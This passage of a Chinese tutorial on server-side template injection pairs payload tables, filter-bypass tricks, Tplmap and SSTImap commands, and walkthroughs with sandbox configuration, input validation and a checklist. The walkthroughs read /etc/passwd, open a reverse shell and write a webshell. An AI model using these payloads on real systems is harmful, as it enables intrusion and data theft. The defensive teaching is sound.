数学检测 {{7*7}} {{7*7}} {$smarty.version} ${7*7} ${7*7}
文件读取 {{''.__class__...}} {{source('/etc/passwd')}} {if file_get_contents('/etc/passwd')}{/if} <#assign...>${cmd("cat /etc/passwd")} File 对象反射
命令执行 {{lipsum.__globals__.os...}} {{['id']|map('system')}} {if system('id')}{/if} Execute Runtime 反射
写文件 os.popen echo file_put_contents writeFile Execute echo Runtime exec
反弹 shell os.popen bash map(‘system’) bash if system bash Execute bash Runtime exec bash
获取配置 {{config}} {{app.request...}} $smarty.config ${.globals} $context

十一、SSTI 绕过技巧

11.1 关键字过滤绕过

当 WAF 或代码过滤了 ospopensystem 等关键字时,可用以下技巧绕过。

绕过技巧 适用场景 示例(Jinja2) 示例(Twig)
字符串拼接 关键字过滤 {{lipsum.__globals__['o'+'s']...}} {{(['o','s']|join)}}
十六进制编码 关键字过滤 {{lipsum.__globals__['\x6fs']...}} {{(['\x6f','s']|join)}}
base64 解码 关键字过滤 (需解码函数) {{('b3M='|b64decode)}}
request 取值 引号过滤 {{lipsum.__globals__[request.args.a]}} {{app.request.query.all()}}
chr 构造 引号过滤 chr 拼接 chr 拼接
大小写混淆 部分过滤 (Python 区分大小写,无效) (PHP 部分函数不区分)
注释插入 关键字过滤 o/**/s o/* */s

11.2 字符过滤绕过

被过滤字符 绕过方式 示例
.(点号) 中括号 [] config['SECRET_KEY']
.(点号) attr() 过滤器 config|attr('SECRET_KEY')
_(下划线) 十六进制 \x5f \x5f\x5fclass\x5f\x5f
'(单引号) 双引号 " config["SECRET_KEY"]
"(双引号) request 取值 config[request.args.x]
{{ {% %} 控制结构 {% set x=... %}{{ x }}
{{ #{ }(部分引擎) -
()(括号) request 取值 (复杂,需具体情况分析)
数字 字符串运算 'a'*0'a'[-1]

11.3 沙箱绕过

绕过技巧 适用引擎 原理
attr() 过滤器 Jinja2 绕过点号过滤,访问属性
__globals__ 访问 Jinja2 获取全局命名空间
__mro__ Jinja2 遍历方法解析顺序找可用类
request 对象 Jinja2/Flask 携带敏感数据
lipsum 全局 Jinja2 内置函数含 os 模块
cycler 全局 Jinja2 内置类含 os
namespace 全局 Jinja2 内置类含 os
map/filter 过滤器 Twig 间接调用系统函数
source 函数 Twig 读取文件
Execute FreeMarker 直接执行命令
ObjectConstructor FreeMarker 构造任意对象
反射 Velocity/Java Runtime.exec
include 标签 Smarty 包含文件执行

11.4 WAF 绕过技巧适用场景表

WAF 规则 绕过方式 适用引擎 示例
拦截 {{ 使用 {% %} Jinja2/Twig {% set x=7*7 %}{{ x }}
拦截 {{ 使用 ${} FreeMarker ${7*7}
拦截 os 字符串拼接 Jinja2 'o'+'s'
拦截 os 十六进制 Jinja2 '\x6fs'
拦截 __ 十六进制 Jinja2 '\x5f\x5f'
拦引号 request 取值 Jinja2 request.args.x
system 替换函数 Twig map('exec')
拦空格 ${IFS} Shell 层 cat${IFS}/etc/passwd
拦关键字 base64 解码 通用 echo aWQ=|base64 -d|bash
URL 编码 双重编码 HTTP 层 %257b%257b

十二、SSTI 自动化利用工具

12.1 Tplmap 完整使用指南

# 1. 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# 2. 基础检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?name=*'

# 3. 获取 os-shell(交互式命令执行)
python tplmap.py -u 'http://target.com/page?name=*' --os-shell

# 4. 执行单条命令
python tplmap.py -u 'http://target.com/page?name=*' --os-cmd 'whoami'

# 5. POST 方式
python tplmap.py -u 'http://target.com/login' --data 'username=*&password=123'

# 6. 指定引擎(加速)
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2

# 7. 上传文件
python tplmap.py -u 'http://target.com/page?name=*' --file-upload ./shell.py /tmp/shell.py

# 8. 通过 Burp 代理
python tplmap.py -u 'http://target.com/page?name=*' --proxy 'http://127.0.0.1:8080'

# 9. 使用模板
python tplmap.py -u 'http://target.com/page?name=*' --tpl-code '{{7*7}}'

# 10. 绕过技术
python tplmap.py -u 'http://target.com/page?name=*' --engine jinja2 --tpl-code '{{7*7}}'

12.2 SSTImap 完整使用指南

# 1. 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

# 2. 基础检测
python sstimap.py -u 'http://target.com/page?name=test'

# 3. 获取交互式 shell
python sstimap.py -u 'http://target.com/page?name=test' --os-shell

# 4. 执行命令
python sstimap.py -u 'http://target.com/page?name=test' --os-cmd 'id'

# 5. 上传文件
python sstimap.py -u 'http://target.com/page?name=test' --file-upload ./shell.py /tmp/shell.py

# 6. 使用模板代码
python sstimap.py -u 'http://target.com/page?name=test' --tpl-code '{{7*7}}'

# 7. 绕过 WAF
python sstimap.py -u 'http://target.com/page?name=test' --tamper urlencode

# 8. POST 方式
python sstimap.py -u 'http://target.com/login' --data 'user=test&pass=*'

12.3 工具功能对比表

功能 Tplmap SSTImap Burp 插件
多引擎支持 是(7+引擎) 是(5+引擎) 部分
自动检测
os-shell
文件上传
WAF 绕过 部分
POST 支持
Cookie 支持
代理支持 原生
维护状态 停更 活跃 各异
Python 3 支持 N/A
模板定制 部分
报告生成

十三、SSTI 防御方案

13.1 沙箱模式配置示例

各引擎的沙箱配置代码示例:

引擎 沙箱配置代码 说明
Jinja2 SandboxedEnvironment 沙箱环境
Twig $twig = new Twig_Environment($loader, ['sandbox' => true]) 启用沙箱
Smarty $smarty->enableSecurity() 启用安全策略
FreeMarker cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) 限制类加载
Velocity SecureUberspector 安全反射器

Jinja2 沙箱配置:

from jinja2 import SandboxedEnvironment, ImmutableSandboxedEnvironment

# 方式 1:基础沙箱
env = SandboxedEnvironment()
template = env.from_string(user_template)

# 方式 2:不可变沙箱(更严格)
env = ImmutableSandboxedEnvironment()
template = env.from_string(user_template)

# 方式 3:自定义安全策略
class SafeEnvironment(SandboxedEnvironment):
    def is_safe_attribute(self, obj, attr, value):
        # 只允许访问白名单属性
        allowed = ['name', 'email', 'id']
        return attr in allowed
    
    def is_safe_callable(self, obj):
        # 禁止调用危险函数
        return False

Twig 沙箱配置:

$tags = ['if', 'for'];
$filters = ['upper', 'lower', 'trim'];
$methods = [];
$properties = [];
$functions = ['range'];

$policy = new Twig\Sandbox\SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);

13.2 输入与模板分离(对比代码)

这是 SSTI 防御的核心原则:永远不要把用户输入拼接到模板字符串中。

# 危险代码:直接拼接(存在 SSTI)
@app.route('/bad')
def bad():
    name = request.args.get('name', '')
    template = '<h1>Hello ' + name + '</h1>'  # 危险!
    return render_template_string(template)

# 安全代码:使用参数化模板
@app.route('/good')
def good():
    name = request.args.get('name', '')
    # 模板与数据分离,name 作为变量传入
    return render_template_string('<h1>Hello {{ name }}</h1>', name=name)

# 安全代码:使用模板文件(更佳)
@app.route('/best')
def best():
    name = request.args.get('name', '')
    return render_template('greet.html', name=name)

13.3 安全配置

引擎 安全配置项 配置方式
Jinja2 使用 SandboxedEnvironment env = SandboxedEnvironment()
Jinja2 禁用 autoescape 风险 仅在可信内容关闭
Twig 启用 sandbox 扩展 $twig->addExtension(new \Twig\Extension\SandboxExtension($policy))
Smarty 启用 security $smarty->enableSecurity('Smarty_Security')
FreeMarker 限制类解析 cfg.setNewBuiltinClassResolver(SAFER_RESOLVER)
FreeMarker 禁用 API 访问 cfg.setAPIBuiltinEnabled(false)
Velocity 使用 SecureUberspector runtime.introspector.uberspect=org.apache.velocity.util.introspection.SecureUberspector
Pebble 启用 Sandbox new PebbleEngine.Builder().extension(new SandboxExtension())

13.4 输入校验

import re

# 白名单校验:只允许字母数字和有限符号
def sanitize_template_input(user_input):
    # 只允许字母、数字、下划线、连字符、空格
    if not re.match(r'^[a-zA-Z0-9_\-\s]+$', user_input):
        raise ValueError('Invalid input: only alphanumeric characters allowed')
    return user_input

# 长度限制
def validate_input_length(user_input, max_length=100):
    if len(user_input) > max_length:
        raise ValueError(f'Input too long, max {max_length} characters')
    return user_input

# 黑名单检测:检测 SSTI 特征字符
SSTI_PATTERNS = [
    r'\{\{.*\}\}',           # Jinja2/Twig
    r'\$\{.*\}',             # FreeMarker/Mako
    r'<%=.*%>',              # ERB
    r'#\{.*\}',              # Ruby/Smarty
    r'\{if.*\}',             # Smarty if
    r'__class__',            # Jinja2 魔术方法
    r'__globals__',          # Jinja2 全局
    r'__mro__',             # Jinja2 MRO
    r'__subclasses__',       # Jinja2 子类
]

def detect_ssti(user_input):
    for pattern in SSTI_PATTERNS:
        if re.search(pattern, user_input, re.IGNORECASE):
            raise ValueError(f'SSTI pattern detected: {pattern}')
    return user_input

# 组合校验
def safe_template_input(user_input):
    user_input = validate_input_length(user_input)
    user_input = detect_ssti(user_input)
    user_input = sanitize_template_input(user_input)
    return user_input

十四、实战案例

14.1 案例 1:Flask Jinja2 获取 Shell

目标环境: 某 Flask 应用存在 SSTI,/page?name= 参数可注入。

步骤 1:检测注入

GET /page?name={{7*7}}

响应:<h1>Welcome 49</h1>

步骤 2:确认引擎

GET /page?name={{7*'7'}}

响应:<h1>Welcome 7777777</h1>,确认 Jinja2。

步骤 3:信息收集

GET /page?name={{config}}

响应泄露 SECRET_KEY: 'super-secret-key-123'DEBUG: True 等敏感配置。

GET /page?name={{request.environ}}

获取主机名、内部 IP、Python 版本等信息。

步骤 4:命令执行

GET /page?name={{lipsum.__globals__.os.popen('id').read()}}

响应:uid=1001(flask) gid=1001(flask) groups=1001(flask)

步骤 5:权限提升探测

GET /page?name={{lipsum.__globals__.os.popen('sudo -l').read()}}

发现可 sudo 执行 /usr/bin/find,准备提权。

步骤 6:反弹 shell

攻击者监听:

nc -lvnp 4444

目标执行:

GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"').read()}}

获取交互式 shell,完成渗透。

14.2 案例 2:FreeMarker 命令执行

目标环境: 某 Java Web 应用使用 FreeMarker,/render?template= 参数可注入模板内容。

步骤 1:检测注入

GET /render?template=${7*7}

响应:49,确认 SSTI。

步骤 2:确认引擎

报错信息含 freemarker.core.TemplateException,确认 FreeMarker。

步骤 3:命令执行

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}

响应:uid=1000(tomcat) gid=1000(tomcat)

步骤 4:信息收集

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")}

读取系统用户信息。

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("hostname")}

获取主机名。

步骤 5:写入 webshell

GET /render?template=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("echo '<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>' > /opt/tomcat/webapps/ROOT/shell.jsp")}

步骤 6:连接 webshell

访问 http://target.com/shell.jsp?cmd=id,执行命令。

利用完成。

14.3 案例 3:绕过过滤实现 RCE

目标环境: 某 Flask 应用存在 SSTI,但过滤了 {{ospopen__ 等关键字。

步骤 1:检测注入(绕过 {{ 过滤)

由于 {{ 被过滤,使用 {% %} 控制结构:

GET /page?name={% if 7*7 == 49 %}vuln{% endif %}

响应包含 vuln,确认 SSTI 存在但 {{ 被过滤。

步骤 2:绕过 __ 过滤

__ 被过滤,使用十六进制编码 \x5f\x5f

GET /page?name={% set x = ''|attr('\x5f\x5fclass\x5f\x5f') %}{% if x %}found{% endif %}

响应 found,绕过成功。

步骤 3:绕过 ospopen 过滤

使用字符串拼接 + request 取值:

GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{% set r = p(request.args.c).read() %}{{ r }}&a=os&b=popen&c=id

URL 编码后:

GET /page?name=%7B%25%20set%20g%20%3D%20lipsum%7Cattr(%27\x5f\x5fglobals\x5f\x5f%27)%20%25%7D%7B%25%20set%20o%20%3D%20g%5Brequest.args.a%5D%20%25%7D%7B%25%20set%20p%20%3D%20o%7Cattr(request.args.b)%20%25%7D%7B%25%20set%20r%20%3D%20p(request.args.c).read()%20%25%7D%7B%7B%20r%20%7D%7D&a=os&b=popen&c=id

响应:uid=1001(flask) gid=1001(flask),绕过成功,RCE 实现。

步骤 4:反弹 shell

GET /page?name={% set g = lipsum|attr('\x5f\x5fglobals\x5f\x5f') %}{% set o = g[request.args.a] %}{% set p = o|attr(request.args.b) %}{{ p(request.args.c).read() }}&a=os&b=popen&c=bash -c "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"

获取 shell,绕过完成。

【提示】 绕过的核心思路是:用「等价表示」替代「被过滤字符」。十六进制替代下划线、request 取值替代引号、字符串拼接替代关键字、控制结构替代表达式符号。掌握这些等价变换,几乎可以绕过所有过滤。

十五、总结与 SSTI 安全检查清单

15.1 SSTI 攻击全流程总结

SSTI 攻击遵循「检测-识别-利用-绕过-防御」五步法:

  1. 检测: 发送 {{7*7}}${7*7} 等指纹 payload,观察数学运算是否回显
  2. 识别: 通过字符串运算特征、报错信息、响应头确定具体引擎
  3. 利用: 根据引擎选择对应 payload 链,从信息收集到命令执行再到反弹 shell
  4. 绕过: 针对过滤采用十六进制编码、字符串拼接、request 取值、控制结构等技巧
  5. 防御: 模板与数据分离、沙箱配置、输入校验、白名单机制

15.2 SSTI 安全检查清单

开发者和安全团队应按以下清单检查 SSTI 防御措施:

检查项 检查内容 状态
1. 模板与数据分离 是否使用参数化模板,避免字符串拼接 待检查
2. 用户输入不进模板 用户输入是否作为数据传入,而非拼入模板字符串 待检查
3. 沙箱启用 是否启用引擎沙箱模式 待检查
4. 危险类禁用 是否禁用 Execute、ObjectConstructor 等危险类 待检查
5. 输入校验 是否对用户输入进行白名单校验 待检查
6. 长度限制 是否限制模板输入长度 待检查
7. 特征字符检测 是否检测 SSTI 特征字符({{${ 等) 待检查
8. WAF 规则 是否配置 SSTI 防护规则 待检查
9. 最小权限 模板渲染进程是否以最小权限运行 待检查
10. 模板审计 自定义模板是否经过安全审计 待检查
11. 依赖更新 模板引擎是否为最新版本 待检查
12. 日志监控 是否监控异常模板渲染行为 待检查
13. 安全测试 是否进行 SSTI 专项渗透测试 待检查
14. 代码审查 代码审查是否覆盖模板渲染逻辑 待检查
15. 应急响应 是否具备 SSTI 漏洞应急响应预案 待检查

15.3 各引擎防御速查

引擎 核心防御措施
Jinja2 SandboxedEnvironment + 参数化模板 + 输入校验
Twig sandbox 扩展 + SecurityPolicy + 参数化
Smarty enableSecurity() + 白名单标签 + 参数化
FreeMarker SAFER_RESOLVER + 禁用 API + 参数化
Velocity SecureUberspector + 反射限制 + 参数化
Mako 输入校验 + 限制模板内容 + 参数化
Pebble Sandbox 扩展 + 限制反射 + 参数化

15.4 结语

SSTI 是一种危害极高的 Web 漏洞,一次注入即可导致服务器沦陷。本文系统梳理了主流模板引擎的 SSTI 攻击全流程,从原理、检测、利用、绕过到防御,覆盖了实战中的关键环节。对于红队人员,掌握各引擎的 payload 链和绕过技巧是渗透的核心能力;对于防守方,理解攻击原理并落实「模板与数据分离」这一根本原则,是防御 SSTI 的关键。

【合规声明】 再次提醒:本文所有技术内容仅供安全学习、授权测试与防御研究。未经授权测试他人系统属违法行为。安全技术的终极目的是守护,请始终在合法合规的框架内运用所学知识。

参考资源:

  • PayloadAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
  • Tplmap: https://github.com/epinna/tplmap
  • SSTImap: https://github.com/vladko312/SSTImap
  • PortSwigger SSTI: https://portswigger.net/web-security/server-side-template-injection
  • OWASP SSTI: https://owasp.org/www-community/attacks/Server_Side_Template_Injection

更多推荐